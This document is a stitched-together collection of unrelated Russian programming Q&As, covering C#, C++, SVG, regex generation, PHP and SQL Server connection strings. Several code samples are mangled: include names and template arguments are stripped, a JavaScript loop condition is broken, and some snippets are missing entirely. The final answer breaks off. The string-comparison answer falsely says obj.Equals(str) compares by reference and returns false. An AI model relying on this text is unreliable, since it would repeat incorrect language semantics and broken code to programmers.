Вот в связи с этим, возник вопрос: Есть ли какие-либо основания (кроме вкусовых предпочтений) использовать в определённых ситуациях определённые способы объявления переменных? ( возможны ли ситуации при которых разные способы объявления переменных по разному будут транслированы в IL?)


Ответ

Да, разница есть: если вы определяете тип переменной явно, он при этом может отличаться от типа выражения в правой части. Для невиртуальных методов это может привести к вызову разного кода.
Пример:
class A { public void Greeting() { Console.WriteLine("Hallo, I am A"); } }
class B : A { public new void Greeting() { Console.WriteLine("Kekeke, I am B"); } }
class Program { static void Main(string[] args) { A a1 = new B(); // заявленный тип переменной a1 - A a1.Greeting(); // выдаёт "Hallo, I am A"
var a2 = new B();// заявленный тип переменной a2 - B a2.Greeting(); // выдаёт "Kekeke, I am B" } }
Тот же эффект с открытыми полями (они всегда невиртуальны) и невиртуальными свойствами.

Существуют случаи, когда вам придётся указывать явный тип (или делать upcast) вручную. Пример:
class C : IDisposable { void IDisposable.Dispose() { } }
Такой код не компилируется:
var c = new C(); c.Dispose(); // нет такого метода
А такой компилируется:
IDisposable c = new C(); c.Dispose();

В случае, когда явно определённый тип совпадает с типом выражения, отличий нет.

Мне кажется, Рихтер слишком строг. В 2016 году точный тип давно уже не так важен. Семантика, смысл переменных намного важнее. Поэтому я для себя пользуюсь правилом:
Там, где можно (то есть, практически везде), предпочитать алиасы типов (int, а не System.Int32).
Исключение: если это важно и я хочу подчеркнуть, что мой тип содержит именно 32 бита Там, где точный тип переменной реально важен или я хочу сделать на нём акцент, использовать его, иначе использовать var. Например, если какая-то операция возвращает мне Stream или там NetworkStream, мне обычно неважен конкретный тип, и я использую просто var

Как в C# правильно сравнивать строки

Как в C# правильно сравнивать строки: Equals или ==?
string str1 = "s"; string str2 = "s";
Console.WriteLine("eq: " + str1.Equals(str2)); Console.WriteLine("==: " + (str1 == str2));
В обоих случаях результат True, хотя String является классом и оператор == должен был сравнить ссылки.
IlDasm показал, что создаются 2 переменные и сравниваются согласно методам Equals и == (op_Equality)
IL_0000: nop IL_0001: ldstr "s" IL_0006: stloc.0 IL_0007: ldstr "s" IL_000c: stloc.1 IL_000d: ldstr "eq: " IL_0012: ldloc.0 IL_0013: ldloc.1 IL_0014: callvirt instance bool [mscorlib]System.String::Equals(string) IL_0019: box [mscorlib]System.Boolean IL_001e: call string [mscorlib]System.String::Concat(object, object) IL_0023: call void [mscorlib]System.Console::WriteLine(string) IL_0028: nop IL_0029: ldstr "==: " IL_002e: ldloc.0 IL_002f: ldloc.1 IL_0030: call bool [mscorlib]System.String::op_Equality(string, string) IL_0035: box [mscorlib]System.Boolean IL_003a: call string [mscorlib]System.String::Concat(object, object)


Ответ

В C# правильно сравнивать строки и через ==, и через Equals. Но более предпочтительным будет сравнивать через ==
Почему так?
Метод Equals подразумевает сравнение значений объектов ссылочного типа, он объявлен как virtual и для строк он перегружен и сравнивает их, как и предполагается, по значению. В Ваших классах Вы должны давать свою реализацию для него. Иначе он будет вести себя как ReferenceEquals и для ссылок, которые указывают не на один объект будет давать false, хоть они и будут равны по значению.
Оператор == для строк представляют свою реализацию, отличную от стандартной для всех других объектов ссылочного типа. Если сравниваемые ссылки имеют тип System.String, то он сначала сравнит указывают ли ссылки на один тот же объект и если нет, то будет сравнивать две ссылки типа System.String по значению.
Но маленькое замечание, если мы сравниваем объект типа System.String (string) с объектом типа System.Object (object), который указывает на строку, они будут сравниваться по значениям.
Пример:
string str = "str"; object obj = "str"; bool result = str.Equals(obj);
result будет равен true, так как obj приведётся к типу string, потому что метод Equals мы вызвали у строки (объекта типа string).
Но если мы сравниваем объект типа System.Object (object), который указывает на строку, с объектом типа System.String (string) они будут сравниваться по ссылке.
Пример:
string str = "str"; object obj = "str"; bool result = obj.Equals(str);
result будет равен false, так как str приведётся к типу object, потому что метод Equals мы вызвали у объекта типа object
Поэтому в данном случае важно привести object к типу string

Как нарисовать дугу на svg для сайта?

Посмотрите, пожалуйста, как можно нарисовать такую дугу?
Любая помощь важна.


Ответ

Решение с использованием stroke-dasharray и stroke-dashoffset
Идея заключается в том, чтобы показывать только часть окружности, а остальную часть скрывать пробелом stroke-dasharray ="314 314" Первая цифра это - длина штриха, вторая цифра - длина пробела. Эти цифры выбраны не случайно, - так как длина окружности при радиусе 100px равна: c = 2*P*R = 628px
Для окружности SVG считает началом пути положительную ось X-ов. Но нам надо рисовать от оси Y-ов. Поэтому поворачиваем нашу окружность против часовой стрелки на 90 градусов

Далее делаем расчет длины для зеленой (R=115px) и синей окружностей (R=130px) Для зеленой длина окружности равна = 722px Для синей окружности равна = 816px

Далее необходимо добавить три четверти окружностей с радиусами: 100px, 115px 130px Идея та же - используем атрибут stroke-dasharray ="157 471" , где 157 - длина штриха, равная одной четверти длины окружности при радиусе равном - 100px 471 - длина пробела равная 3/4 длины окружности
для двух других окружностей с большими радиусами цифры будут другие. Полная длина окружности вычисляется по формуле - C = 2*P*R
Теплоэнергия %
Анимация SVG изображения
Для анимации совместно используются атрибуты stroke-dasharray и stroke-dashoffset
На каждый атрибут применена отдельная анимация изменения параметров от нуля до максимального значения - values="0;314"
Запуск анимации происходит по клику на svg изображении - begin="svg1.click" Анимации цветных кругов идут последовательно друг за другом Например: условием запуска зелёного круга является окончание анимации пурпурного круга, плюс пауза 0.25s
begin="purle1.end+0.25s"
Теплоэнергия %

Позиционирование SVG и вертикальное выравнивание

Есть SVG-файл:
!
Отображается так:

Как выровнять text строго по середине по вертикали? И вообще, какие существуют способы позиционирования объектов в SVG файле?


Ответ

Для вертикального выравнивания используйте dominant-baseline (поддерживается в Chrome, Opera, Firefox):
!
Также можно выравниваться text атрибутом dy (поддерживается в Chrome, Opera, Firefox, IE, Edge):
!

Как правильно сделать такое оформление элемента (html/css)?

Как правильно реализовать то что на скрине? Лучше средствами html/css, если на край, то svg?


Ответ

Реализация с помощью SVG

Копирование и перемещение (семантика перемещения в С++)

Есть ощущение что я не совсем понимаю (или совсем не понимаю) как работает перемещение (по rvalue ссылкам) в С++, и как правильно следует организовывать/использовать конструкторы/операторы перемещения-копирования в классах.
Немного о сложившейся ситуации
Решил я написать класс "буфер данных", для того чтобы можно было этим самым буфером более удобно манипулировать. По сути состоит из указателя на массив данных, кол-ва элементов в массиве и пары методов. Показываю здесь немного упрощенный вариант, суть от этого особо не меняется:
class A { private: unsigned int size; char * data;
public: // Конструктор по умолчанию (инициализирует пустой объект без данных) A() :size(0), data(nullptr){}
// Еще конструктор. Инициализирует буфер размера size, заполняет его значением clearValue A(unsigned int size, char clearValue = 'a') :size(size),data(new char[this->size]){ std::fill_n(this->data, this->size, clearValue); }
// Удаляет динамически выделенные данные data ~A(){ delete[] data; } };
Затем я попытался сделать примерно такую штуку:
A a; a = A(100);
И в итоге получилось так, что указатель data в объекте a более не валидный (а при завершении программы/функции вообще все ломается). По моим предположениям это происходит из-за того что объект, который я получаю путем вызова конструктора A(100), и который затем присваиваю в a - он как бы временный, и после присвоения тут же срабатывает его деструктор, очищая то, что лежит по указателю data. Получается что значение указателя копируется, а данные уже убиты деструктором (или я не прав?).
Первой мыслью, которая пришла в голову, была "не хватает конструктора копирования". Я решил его написать, выглядел он как-то вот так:
A(const A& other) :size(other.size), data(other.data ? new char[other.size] : nullptr) { if(other.data) memcpy(this->data, other.data, other.size); }
Но это не помогло. Похоже в операции a = A(100); конструктор копирования вовсе не участвует. Немного погуглив - наткнулся на различные идиомы "перемещения/присваивания/копирования", толком не поняв сути, решил что не хватает конструктора перемещения. Добавил его, как-то так он выглядел:
A(A&& other):A() { std::swap(this->size, other.size); std::swap(this->data, other.data); }
И тут произошло нечто мистическое. Среда начала подчеркивать оператор = как ошибку, там где я пытался сделать a = A(100), а код вообще перестал компилироваться. Среда давала такие пояснения - "на функцию A::oprator=(A const a&) нельзя ссылаться, так как эта функция удалена". Куда удалена? Почему удалена? Что вообще происходит.. не знаю. В итоге я решил таки переопределить этот самый оператор =, он получился примерно таким:
A& operator=(A other) { std::swap(this->size, other.size); std::swap(this->data, other.data); return *this; }
И о чудо, теперь все работает.
Только вот осталась куча вопросов:
Что я вообще такое сделал? Когда именно вызывается конструктор перемещения а когда конструктор копирования? Почему при переопределении конструктора перемещения A(A&& other):A() перестает работать оператор = и его надо явно определять? В чем смысл в операторе = делать почти то же самое что и в конструкторе перемещения, я ведь мог бы обойтись только оператором перемещения? Как вообще правильно ко всему этому подойти?
Что-то я совсем запутался, был бы рад последовательному объяснению, по пунктам.


Ответ

Есть ощущение что я не совсем понимаю (или совсем не понимаю) как работает перемещение (по rvalue ссылкам) в С++
Тут сразу можно заметить, что "перемещение" в С++ работает так, как вы его сами реализуете. В самом языке (в ядре языка) никакого "перемещения" нет. Есть только тип rvalue-ссылки со своими правилами поведения в процессе разрешения перегрузок (overload resolution). А уж воспользоваться этим типом rvalue-ссылки и сопутствующими ему правилами разрешения перегрузок для целей "перемещения" - ваша задача.
Однако вас никто не заставляет это делать. Перемещение - это во многих случаях лишь оптимизационная возможность. При этом с концептуальной точки зрения обычное "копирование" - это частный случай "перемещения". "Копирование" есть наименее оптимальный вариант "перемещения". То есть вас никто никогда не заставляет реализовывать перемещение там, где у вас уже реализовано копирование. Копирование и так само со всем справится, пусть и менее оптимально.
Другое дело, что для некоторых типов сущностей копирование не возможно вообще, а какая-то другая форма перемещения - вполне возможна. Вот тут без перемещения уже не обойтись. Но это уже совсем другая история.
Затем я попытался сделать примерно такую штуку:
A a; a = A(100);
[...] он как бы временный, и после присвоения тут же срабатывает его деструктор, очищая то, что лежит по указателю data. Получается что значение указателя копируется, а данные уже убиты деструктором (или я не прав?).
Все совершенно верно.
Первой мыслью, которая пришла в голову, была "не хватает конструктора копирования".
Это так - конструктора копирования в вашем классе действительно не хватает. Однако проблема с вашим предыдущим кусочком кода была вызвана не отсутствием конструктора копирования, а именно отсутствием правильно реализованного копирующего оператора присваивания. (Пока что я не веду речи о перемещениях вообще, потому что они не обязательны и прямого отношения к проблеме не имеют).
Именно поэтому ваша реализация конструктора копирования (вполне корректная для наших целей) ситуации не спасла. Как вы сами правильно заметили, конструктор копирования в вашем коде не используется вообще.
Имейте в виду, что копирующий оператор присваивания в вашем классе есть - его для вас неявно сгенерировал компилятор. Но этот копирующий оператор присваивания ведет себя неправильно: он, как вы сами правильно догадались, просто копирует указатель на массив, что вас в данном случае никак не устраивает.
решил что не хватает конструктора перемещения.
Это не верный вывод. Не хватает именно правильно реализованного оператора присваивания. Другими словами, ваш код можно сделать работоспособным вообще не вдаваясь в тему "перемещения". Можно обойтись классическим копированием. Но для этого вам придется правильно реализовать конструктор копирования (что вы уже сделали), и правильно реализовать копирующий оператор присваивания.
Это так называемое классическое Правило Трех.
Добавил его [...] Среда давала такие пояснения - "на функцию A::oprator=(A const a&) нельзя ссылаться, так как эта функция удалена". Куда удалена? Почему удалена? Что вообще происходит..
В современном С++ бытует вполне резонное мнение, что языку изначально следовало бы более строго требовать от пользователя соблюдения Правила Трех. А именно: в ситуациях, когда пользователь объявляет в своем классе хотя бы одну из функций Правила Трех (конструктор копирования, копирующий оператор присваивания, деструктор), автоматически подавлять неявную генерацию всех остальных функций Правила Трех. То есть язык должен заставлять пользователя действовать по принципу "реализовал руками одну - тогда реализуй руками и все остальные". Однако в классическом С++ этого сделано не было. Вы как раз стали жертвой этой ситуации: вы реализовали конструктор копирования и деструктор, но "забыли" реализовать соответствующий им оператор присваивания.
В современном С++, с появлением новых концепций конструктора перемещения и перемещающего оператора присваивания (и, соответственно, с появлением Правила Пяти) это досадное упущение решили исправить настолько, насколько это возможно без нарушения обратной совместимости с классическим С++ : как только у вас у классе появляется явный конструктор перемещения или явный перемещающий оператор присваивания, тут же автоматически подавляется неявная генерация всех остальных функций Правила Пяти.
Именно это вы и наблюдаете: как только вы реализовали свой конструктор перемещения, сгенерированный компилятором копирующий оператор присваивания сразу же пропал - он стал deleted. И ваш код перестал компилироваться.
Более того, классическое поведение компиляторов в рамках Правила Трех теперь официально объявлено устаревшим (deprecated), то есть оно временно сохраняется для обратной совместимости, но в будущих версиях языка будет устранено волевым усилием. То есть и ваш оригинальный код, который у вас сейчас успешно компилируется, точно также в один прекрасный момент в будущем перестанет компилироваться с сообщением о том, что оператор присваивания является deleted.
В итоге я решил таки переопределить этот самый оператор =, он получился примерно таким:
Прекрасно. При этом для достижения формальной работоспособности кода вам на самом деле "не нужен" ваш конструктор перемещения. Но для оптимизации он вполне полезен.
То, как вы реализовали ваш оператор присваивания (получение параметра "по значению" и swap) как раз является наиболее простым способом оптимизировать код на основе семантики перемещения.

Алгоритм для преобразования диапазона номеров в регулярное выражение

Не знаю, насколько правильно выглядит сам заголовок, но подробнее опишу здесь.
Итак, суть такова: есть, к примеру, некий диапазон и пара условий:
$start и $end всегда имеют одинаковую символьную длину (хотя это и не столь важно); И если есть диапазон, включающий в себя элемент 555123456 (длина 9 символов), то нет никакого другого диапазона, который включал бы в себя номер, превосходящий по длине уже имеющийся и начинающийся с 555 - т.е. номер 5551234567 (длина - 10 символов) не существует по определению. Последние цифры в $start и $end равняются 0 и 9 соответственно, что тоже облегчает задачу.
Т.е. (здесь и далее пишу условно, без привязки к каким-либо языку программирования или стандарту regexp)
555000000 - 555999999 // Т.е. 555* 666000000 - 666999999 // Т.е. 666*
5550000000 - 5559999999 // Не существует в списке диапазонов по определению задачи, игнорируем. 6660000000 - 6669999999 // Не существует в списке диапазонов по определению задачи, игнорируем.

Иными словами: если задан 555000000 - 555999999, то нет 5550000000 - 5559999999
Возьмем, например
555000000 - 555999999
Задача: преобразовать в 555*. С указанным примером разобраться несложно - необходимо отнять $start от $end, чтобы получить некую переменную $result, которая равна 999999. Затем использовать значение результата операции $result.length() по отношению к, скажем, $start, чтобы получить строку 555*
$shortrec = substr($start,0,-strlen($result)) . "*";
Но если диапазон выглядит как
777120000 - 777259999
то разница будет иметь значение 139999. Здесь сложнее, но тоже понятно - помимо отчасти указанного выше, сравниваем позиции 0 и 9 в обеих переменных, "выходим" на 12 и дополнительно обрабатываем 12, наращивая его 13 раз и получая в цикле следующую последовательность:
77712* 77713* 77714* ... 77725*
Но как быть, если есть диапазон,
888125120 - 888959599
(здесь вспомним облегчающее логику условие номер 3, чтобы не оперировать выражением типа [5-9], если бы $start равнялся бы 888125125) для которого необходимо получить
88812512* 8882* 8883* ... 8888*
88890* 88891* 88892* ... 88894*
888950* 888951* 888952* ... 888958*
8889590* 8889591* 8889592* ... 8889595*

Прошу рассудить - следую ли я с самого начала правильной логике или нет? И есть ли некоторое универсальное решение (алгоритм) для подобных задач? Как поступили бы вы?
P.S. Язык программирования не важен - важен сам подход и алгоритм. Надеюсь, не сломал читающему мозг, но задача не из учебных, а самая что ни на есть настоящая. Так что если есть идеи, буду весьма признателен.


Ответ

Писать алгоритм генерации будем для частного случая - когда число знаков у нижней и верхней границы одинаковы. Если же число знаков разное, то исходный диапазон будет разбит на 3 диапазона:
от минимальной границы до максимального числа с таким же числом цифр все полные диапазоны чисел, которые не были затронуты границами от минимального числа с таким же числом цифр, как у максимальной границы, до максимальной границы
На примере понятнее, что все это обозначает. Исходный диапазон 14-123456 разбиваем на три диапазона 14-99, 100-99999, 100000-123456 Если присутствует второй диапазон, то он задается простым выражением \d{n,m}, первый и второй диапазон нужно генерировать отдельно и в границах этих диапазонов всегда одинаковое количество знаков, а значит применим основной алгоритм генерации, а затем объединим эти 3 диапазона альтернативой.
Основной алгоритм для диапазонов с одинаковым количеством цифр
Попытаемся найти общую часть для верхней и нижней границы. Например в диапазоне 1234-1278 можно вынести 12 как обычные символы. Начнем просмотр границ слева-направо. Для примера диапазон 1234-5678 Первые цифры нижней и верхней границ 1 и 5, поэтому разделим на 3 диапазона: 1234-1999, 2000-4999, 5000-5678, то есть как бы выделим середину, которую можно представить как [2-4]\d{3} Оставшиеся два диапазона обработаем по тому же самому алгоритму. Например для 1234-1999 сперва вынесем цифру 1 как общую. Диапазон 234-999 разобьем на 2 диапазона 234-299, 300-999 И так далее для всех диапазонов, которые появятся в ходе разбиения на составные диапазоны.
Кода безумно много, но зато можно запустить и потестировать.
$( document ).ready( function() { $( "#rangeLeft, #rangeRight" ).keydown( function() { clearDisplay(); } ); $( "#run" ).click( function() { clearDisplay(); var rangeLeft = $( "#rangeLeft" ).val(); var rangeRight = $( "#rangeRight" ).val(); if ( ! checkRanges( rangeLeft, rangeRight ) ) return; $( "#result" ).append( generateFullRegExp(rangeLeft, rangeRight)+"
" ); $( "#test" ).show(); } ); $( "#test" ).click( function() { var rangeLeft = $( "#rangeLeft" ).val(); var rangeRight = $( "#rangeRight" ).val(); var re = new RegExp( "^"+generateFullRegExp(rangeLeft, rangeRight)+"$" ); for( var i=Math.pow( 10, rangeLeft.length-1 ); iparseInt(rangeRight) ) ) $( "#result" ).append( "Тест провален на: " + i+"
" ); if ( !re.test( i+"" ) && ( i>parseInt(rangeLeft) && i" ); }; $( "#result" ).append( "Тест пройден от "+Math.pow( 10, rangeLeft.length-1 )+" до "+i+"
" ); } ); } ); function checkRanges( rangeLeft, rangeRight ) { if ( /\D/.test( rangeLeft ) || /\D/.test( rangeRight ) ) { $( "#result" ).append( "Введите два числа
" ); return false; }; rangeLeft = parseInt( rangeLeft ); rangeRight = parseInt( rangeRight ); if ( isNaN( rangeLeft ) || isNaN( rangeRight ) ) $( "#result" ).append( "Не указаны границы диапазонов
" ); if ( rangeLeft < 0 ) $( "#result" ).append( "Левая граница меньше 0
" ); if ( rangeRight < 0 ) $( "#result" ).append( "Правая граница меньше 0
" ); if ( rangeLeft > rangeRight ) $( "#result" ).append( "Левая граница больше правой границы
" ); return( !( rangeLeft < 0 || rangeRight < 0 || rangeLeft > rangeRight || isNaN( rangeLeft ) || isNaN( rangeRight ) ) ); }; function maxBeginStr( str1, str2 ) { var res = /^(.*)[^-]*\-\1/.exec( str1 + "-" + str2 ); return res ? res[1] : ""; }; function midDiap( start, end ){ var st0int = parseInt( start[0] ); var en0int = parseInt( end[0] ); if ( st0int+1 == en0int ) { var res = end[0]; } else { if ( st0int == en0int-2 ) { res=( st0int+1 )+""; } else { res="["+( st0int+1 )+"-"+(en0int-1)+"]"; }; }; if ( start.length == 1 ) return res; return res+"\\d{"+(start.length-1)+"}"; }; function lowDiap( num, pos ) { var res = num.substr(0, pos); var highRange = parseInt( num[pos] )-1; if ( highRange == -1 && pos == num.length-1 ) return num; if ( highRange == -1 ) return null; // выражение можно не включать if ( pos == num.length-1 ) highRange++; res += "[0-"+highRange+"]"; if ( num.length != pos+1 ){ res += "\\d{"+(num.length-pos-1)+"}"; } return res; }; function highDiap( num, pos ) { var res = num.substr(0, pos); var lowRange = parseInt( num[pos] )+1; if ( lowRange==10 && pos == num.length-1 ) return num; if ( lowRange==10 ) return null; // выражение можно не включать if ( pos == num.length-1 ) lowRange--; res += "["+lowRange+"-9]"; if ( num.length != pos+1 ){ res += "\\d{"+( num.length -pos-1)+"}"; } return res; }; function getRegExp( start, end ) { if ( start.length != end.length ) return "Invalid input"; var res= maxBeginStr( start, end ); start= start.substr( res.length ); end = end.substr( res.length ); if ( start.length == 0 ) return res; var st0int = parseInt( start[0] ); var en0int = parseInt( end[0] ); var resArr= Array(); if ( start.length > 1 ) { if ( st0int != en0int-1 ) { resArr.push( midDiap( start, end) ); } for ( var i=1; i 1 ) resArr.push( ("\\d{"+(rangeLeft.length+1)+","+(rangeRight.length-1)+"}").replace(/(\d+),\1/, "$1") ); resArr.push( getRegExp( "1"+"0".repeat( rangeRight.length-1 ), rangeRight ) ); return "(?:"+resArr.join("|")+")"; }; function clearDisplay() { $( "#result" ).html( "" ); $( "#test" ).hide(); }; #test { display:none } -


    
  



Существующий недочет Для диапазона 10-29 и.т.п. сгенерируется избыточное выражение (?:2[0-9]|1[0-9])

Контейнер для констант

Есть список UnicodeString констант и соответствующий ему список целочисленных констант:
const UnicodeString ERR = L"Error"; const UnicodeString READY = L"Ready"; ... const int S_ERR = 0; const int S_READY = 1; ...
Не знаю, какой контейнер для хранения и удобной работы с этими данными использовать. Если использовать их отдельно, то получается крайне неудобно с ними работать, когда надо получать строку в зависимости от состояния и подобные действия:
switch (Status) { case S_ERR: return ERR; ... }
Какой контейнер можно использовать для этого? Очень важен ответ, часто использую такого рода логику.


Ответ

Раз у Вас есть ассоциативное отношение, то сам собой напрашивается ассоциативный контейнер, а именно: std::unordered_map
... const int S_ERR = 0; const int S_READY = 1; ... std::unordered_map strings; strings.emplace(S_ERR, L"Error"); strings.emplace(S_READY, L"Ready"); ... return strings[Status];
Это позволяет нам не задумывать о том, в каком порядке, что хранится и не пользоваться switch, который только раздувает код.

std::move вне пространства имен std

Почему этот код работает, если даже если мы не используем пространство имен std?
#include #include #include
int main() { std::string s = "test"; std::cout << move(s); // <= move без std::, никакого using namespace std нет }
Однако move(1) не скомпилируется, тк нет функции move, а std::move(1) - да.
Проверено в g++6.3 -std=c++14, clang++5.0 и 6.0 -stdc++1z


Ответ

Это так называемый Argument-Dependent Lookup (ADL). Если кратко, то к функциям-кандидатам при поиске подходящей функции также добавляются функции из пространств имен фактических аргументов.
Рассмотрим простой пример (в конце имеется полный код):
namespace First { struct Type {};
void foo(Type) { std::cout << "First foo" << std::endl; }
void bar(First::Type, First::Type) { std::cout << "First::bar" << std::endl; }
}
namespace Second { struct Type {};
void foo(Type) { std::cout << "Second foo" << std::endl; }
void bar(First::Type, Second::Type) { std::cout << "Second::bar" << std::endl; }
}
int main() { First::Type f; Second::Type s;
//Аргумент из пространства имен First, //поэтому поиск будем производить и в пространстве имен First foo(f);
//Аргумент из пространства имен Second, //поэтому поиск будем производить и в пространстве имен Second foo(s);
//Один аргумент из пространства имен First, другой - из Second. //Поэтому поиск будет производиться и в First и в Second. //Но для вызова подходит только функция Second::bar bar(f, s); }
Рассмотрим более практический случай, когда ADL помогает делу. Возьмем простой шаблон функции, которая во время работы где-то в своих недрах обменивает значения двух своих аргументов:
template void zoo(T & one, T & two) { std::swap(one, two); }
zoo использует std::swap для обмена значений.
Представим, что два объекта типа First::Type можно обменять местами эффективнее, чем это делает std::swap. Нам необходимо, чтобы для типа First::Type эта функция использовала более эффективный обмен. Для начала необходимо добавить функцию swap в пространство имен First
namespace First { //... void swap(Type &, Type &) { std::cout << "First::swap" << std::endl; } }
Теперь необходимо как-то заставить zoo вызывать Second::swap вместо std::swap. В этом нам поможет ADL, мы просто убираем пространства имен при использовании swap
template void zoo(T & one, T & two) { swap(one, two); }
Теперь swap будет искаться в текущем пространстве имен и в пространстве имен своих аргументов. Но здесь возникает новая проблема. Что делать с типами, для которых нет swap? А для них мы будем использовать std::swap, просто добавим using в функцию:
template void zoo(T & one, T & two) { using std::swap;//Обеспечит вызов std::swap для типов swap(one, two);//для которых не предоставлен более подходящий swap }
Теперь, благодаря ADL для типов для которых предусмотрен собственный swap будет использоваться именно он, а для других - стандартный.
//... zoo(f, f);
int a = 10; int b = 20; zoo(a, b); std::cout << a << " " << b << std::endl;
Полный код примера:
#include

namespace First { struct Type {};
void foo(Type) { std::cout << "First foo" << std::endl; }
void bar(First::Type, First::Type) { std::cout << "First::bar" << std::endl; }
void swap(Type &, Type &) { std::cout << "First::swap" << std::endl; } }
namespace Second { struct Type {};
void foo(Type) { std::cout << "Second foo" << std::endl; }
void bar(First::Type, Second::Type) { std::cout << "Second::bar" << std::endl; }
void swap(Type &, Type &) { std::cout << "Second::swap" << std::endl; } }
template void zoo(T & one, T & two) { using std::swap; swap(one, two); }
int main() { First::Type f; Second::Type s;
foo(f); foo(s); bar(f, s);
zoo(f, f); zoo(s, s);
int a = 10; int b = 20; zoo(a, b); std::cout << a << " " << b << std::endl; }
http://rextester.com/LWCQY38186

Как удалить запись массива из сессии - PHP

есть вот такой массив в котором лежит 3 товара и передается через $_SESSION['shopping_cart'][]
array(3) { [0]=> array(3) { ["variant_id"]=> int(154) ["amount"]=> int(1) ["lvl"]=> int(1) } [1]=> array(3) { ["variant_id"]=> int(157) ["amount"]=> int(1) ["lvl"]=> int(6) } [2]=> array(3) { ["variant_id"]=> int(167) ["amount"]=> int(1) ["lvl"]=> int(0) } }
Как мне удалить товар с variant_id = 157, то-есть весь массив [1], но я знаю только variant_id. Буду благодарен за вашу помощь!


Ответ

Как вариант можно через цикл:
$arr = [ ['variant_id' => 154, 'amount' => 1, 'lvl' => 1], ['variant_id' => 157, 'amount' => 1, 'lvl' => 6], ['variant_id' => 167, 'amount' => 1, 'lvl' => 0] ];
foreach($arr as $key => $value) { if ($value['variant_id'] == 157) unset($arr[$key]); }
print_r($arr);
Второй вариант с помощью функции array_filter
$id = 157;
$arr = array_filter($arr, function ($x) use ($id) { return $x['variant_id'] !== $id; });
print_r($arr);

Singleton и реализация

Если я создаю класс в качестве одиночки, то нужно ли реализовать оперетор присваивания, конструктор копирования, операторы сравнения классов и т.д? Как их вообще записать? Просто без объявить, но не писать реализацию? И заодно спрошу, как реализовать Singleton, если объект класса будет создаваться как Class * c = new Class(); а не так Class c;


Ответ

Классический (и наиболее изящный) метод объявления синглтона на C++ — синглтон Майерса. Пример: class Singleton { public: static Singleton& Instance() { // согласно стандарту, этот код ленивый и потокобезопасный static Singleton s; return s; }
private: Singleton() { ... } // конструктор недоступен ~Singleton() { ... } // и деструктор
// необходимо также запретить копирование Singleton(Singleton const&); // реализация не нужна Singleton& operator= (Singleton const&); // и тут }; Начиная с C++11, правильнее писать так: Singleton(Singleton const&) = delete; Singleton& operator= (Singleton const&) = delete; Теперь по пунктам: Оператор присваивания не нужен. Поскольку он во многих случаях создаётся компилятором «за вашей спиной», нужно задекларировать его приватным, чтобы им никто не мог воспользоваться. В C++11 вы можете прямо убрать его при помощи конструкции «= delete». То же для конструктора копирования. В операторах сравнения нет нужды, так как всё равно есть лишь один экземпляр. Поскольку автоматически операторы сравнения не создаются, вам не нужно ни о чём беспокоиться. Использовать синглтон, создавая его явно, нельзя: ведь если вы смогли объявить один экземпляр, то сможете объявить сколько угодно! Поэтому варианты «ручного» создания мы исключили, сделав конструктор приватным. Получить ссылку на синглтон для работы с ним можно только так: Singleton& instance = Singleton::Instance();

Подключение к SQL Server на C# для чайника

Visual Studio 2012 Ultimate поставил, вместе с ней поставился SQL Server 2012. Итак.
Задача: подключиться к SQL Server, создать новую локальную базу данных, выполнить скрипт создания базы из файла "database.sql" (создание таблиц, процедур и т. п.).
SqlConnection sqlConnection = new SqlConnection(); sqlConnection = new SqlConnection("Data Source=localhost; Integrated Security=SSPI; Initial Catalog=testdb;"); sqlConnection.Open();
MyClass.scriptExecute(sqlConnection, "database.sql");
sqlConnection.Close(); sqlConnection.Dispose();
Проблема: судя по всему, в строке подключения, а скорее всего - в имени сервера.
Объясните на пальцах, пожалуйста, что там писать? В голове каша, не понимаю ни фига. Перепробовал варианты названия сервера с MSDN и ConnectionString - все время какие-то ошибки. Варианты: localhost, (localhost), (local), localdb, (localdb), (localdb)\v.11, еще какие-то были, и уже совершенно запутался в них всех. Есть варианты подключения к Server Instance - это что еще за хрень? Тоже не пойму. Как мне объяснили, логин-пароль указывать не надо при создании базы, кажется, используется аутенфикация Windows, но я опять же толком не понял о чем речь.
Спасибо всем за помощь.


Ответ

У SQL Server есть два режима работы:
Полноценный инстанс (именованный или неименованный).
Его наличие можно проверить в Control Panel / Services:

В скобках написано имя инстанса. MSSQLSERVER - это неименованный инстанс. Если у вас там написано SQLEXPRESS - то имя инстанса и есть SQLEXPRESS.
К таким инстансам можно подключится по имени в формате ИМЯСЕРВЕРА\ИМЯИНСТАНСА. Точка в имени сервера - это локальная машина. Т.е. для подключения к серверу со скриншота можно использовать
localhost - без скобок! 127.0.0.1 pasha-pc - имя моей машины.
Будь там написано SQLEXPRESS, для подключения можно было бы использовать
.\SQLEXPRESS localhost\SQLEXPRESS - без скобок! pasha-pc\SQLEXPRESS - имя моей машины + имя инстанса.
Проблема с полноценным инстансом - доступ к нему нужно настраивать. Он по умолчанию разрешает доступ тому, кто устанавливал SQL Server, но всем остальным доступ нужно разрешить вручную. Для обхода этой проблемы существует второй режим работы:
LocalDB
LocalDB - это легковесный инстанс SQL Server-а, который существует только для текущего пользователя.
Для подключения к нему используется имя сервера в формате (localdb)\имяинстанса
Для создания новых инстансов или просмотра существующих можно использовать утилиту C:\Program Files\Microsoft SQL Server\120\Tools\Binn\SqlLocalDB.exe (точный путь зависит от установленной версии SQL Server)
Вот пример вывода существующих инстансов на моей машине
>SqlLocalDB.exe i MSSQLLocalDB ProjectsV12 v11.0 v11.m v12.0
Соответствующие имена для подключения - (localdb)\MSSQLLocalDB, (localdb)\ProjectsV12....
Обычно пару инстансов уже создано по умолчанию, в частности инстанс с текущей версией - поэтому вы встречаете упоминание (localdb)\v11.0 в примерах - это инстанс, который почти наверное будет создан на машине с 2012-ой студией.
Воспользуйтесь панелью управления сервисами и SqlLocalDB, узнайте имя инстанса, и впишите соответствующее имя в connection string.

Проблемы с массивом “тип массива ”float [n]“ является неназначаемым”

Всем привет,учить недавно начал С++ пишу простые программки
#include "stdafx.h" #include #include using namespace std;
int main() { int n; cout << "введите n: "; cin >> n; float a, b, h, s, f[n]; cout << "введите a: "; cin >> a; cout << "введите b: "; cin >> b; if (b>a) {
h = (b - a) / n;
for (int i = 1; i <= n; i++) { f[i] = (a + (i - 0.5) * h) / (1 + pow((a + (i - 0.5) * h), 2)); s = s + f[i]; } s = s*h; cout << "(f1+f2+f3+..+fn)*h= " << s << endl; } else {
cout << "введены данные не удовлетворяют условие (b>a)" << endl; } return 0; }
Ну при компиляции VS 2015 ругается на то что "выражение не определяется константой" и "тип массива "float [n]" является неназначаемым" Подскажите, пожалуйста, где допущена ошибка и как ее исправить. Заранее благодарен.


Ответ

У вас несколько проблем имеется в программе.
